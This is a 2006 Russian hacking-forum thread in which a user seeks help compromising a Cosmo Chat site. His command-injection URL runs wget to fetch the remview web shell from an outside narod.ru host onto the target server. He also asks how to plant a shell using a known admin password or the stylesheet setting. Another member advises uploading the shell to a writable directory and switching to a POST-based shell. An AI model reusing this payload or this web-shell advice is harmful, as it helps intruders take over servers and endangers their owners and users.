ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Чаты
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

remview, cosmo chat
  #1  
Старый 22.12.2006, 15:55
Аватар для miniden
miniden
Участник форума
Регистрация: 20.10.2006
Сообщений: 211
Провел на форуме:
1182508

Репутация: 36
Отправить сообщение для miniden с помощью ICQ
Question remview, cosmo chat

У меня такой вопрос, вот я нашол космо чат, залил на народ remview и вот что вышло
Код:
http://chat.ru/logins.php?c=pwd;od%20source;wget%20http://блаблабла.narod.ru/remview.php;%20ls%20-l
но когда я это применяю то неф не выходит, в чом же проблема?
 
Ответить с цитированием

  #2  
Старый 22.12.2006, 16:50
Аватар для miniden
miniden
Участник форума
Регистрация: 20.10.2006
Сообщений: 211
Провел на форуме:
1182508

Репутация: 36
Отправить сообщение для miniden с помощью ICQ
По умолчанию

ну или вот например я знаю пас админа как можна туда шел или ремвиев закинуть?
 
Ответить с цитированием

  #3  
Старый 22.12.2006, 17:42
Аватар для miniden
miniden
Участник форума
Регистрация: 20.10.2006
Сообщений: 211
Провел на форуме:
1182508

Репутация: 36
Отправить сообщение для miniden с помощью ICQ
По умолчанию

сидя над космо чатом в локале я подумал, что если там можно менять таблицу стилей из админки, то нельзя ли каким нить кодом подгружать фаил с ругого места, ну например, я на народ кину шел, а в таблице с стилями поменяю типа, даунлоад
http://blablabla.narod.ru/remwiev.php
так вот вопросег как его можно так подгрузить.
ну или другие методы, я видео пересмотрел, у меня так как на видео неф не виходит...
 
Ответить с цитированием

  #4  
Старый 22.12.2006, 19:49
Аватар для TANZWUT
TANZWUT
Крёстный отец :)
Регистрация: 22.06.2005
Сообщений: 1,330
Провел на форуме:
5302668

Репутация: 2054


Отправить сообщение для TANZWUT с помощью ICQ
По умолчанию

если ты можеш выполнять команды:
Цитата:
http://chat.ru/logins.php?c=pwd;od%20source;wget%20http://блаблабла.narod.ru/remview.php;%20ls%20-l
вот тебе и шелл...
ищи для записи доступную диру и в неё заливай шелл..
но лучше неиспользуй ремвиев, т.к. используются GET запросы... лучше юзай шелл заточеный под POST
__________________
Лучший способ защиты - это нападение!!!
 
Ответить с цитированием

  #5  
Старый 22.12.2006, 20:03
Аватар для miniden
miniden
Участник форума
Регистрация: 20.10.2006
Сообщений: 211
Провел на форуме:
1182508

Репутация: 36
Отправить сообщение для miniden с помощью ICQ
По умолчанию

Цитата:
Сообщение от tanzwut  
если ты можеш выполнять команды:

вот тебе и шелл...
ищи для записи доступную диру и в неё заливай шелл..
но лучше неиспользуй ремвиев, т.к. используются Get запросы... лучше юзай шелл заточеный под Post
яж говорю, что немогу выполнить эти команды, и вопрос, почему?в чем ошибка?
 
Ответить с цитированием

  #6  
Старый 22.12.2006, 20:28
Аватар для Constantine
Constantine
Members of Antichat - Level 5
Регистрация: 24.11.2006
Сообщений: 927
Провел на форуме:
7192869

Репутация: 3033


По умолчанию

А с чего ты взял, что инклуд, вообще возможен??

З.Ы Там кнопочка такая есть: Edit)
__________________

Дети индиго - это бездари, не надо песен! В пять лет едва говорить начинают, мы в этом возрасте стихи наизусть читали!

з.ы http://www.youtube.com/watch?v=sNsQe0KByRY Я ПлакалЪ

Последний раз редактировалось Constantine; 22.12.2006 в 20:30..
 
Ответить с цитированием

  #7  
Старый 22.12.2006, 20:30
Аватар для miniden
miniden
Участник форума
Регистрация: 20.10.2006
Сообщений: 211
Провел на форуме:
1182508

Репутация: 36
Отправить сообщение для miniden с помощью ICQ
По умолчанию

Цитата:
Сообщение от Constantine  
А с чего ты взял, что инклуд, вообще возможен??
З.Ы Там кнопочка такая есть: Edit)
ну ладно рас подгрузить его нельзя, то почему команда не выполняеться? И про какую кнопочку ты говоришь?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Cosmo Chat Platinum Passive multiply XSS's blackybr Уязвимости 0 01.11.2006 20:16
Секс с Cosmo Chat 2.0 _kREveDKo_ Чаты 0 05.05.2006 22:29
Нужна консультация (Intranet Chat) ty3ik Чаты 3 30.04.2006 19:15
Ремвива через Cosmo Chat chip Чаты 5 06.04.2005 22:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ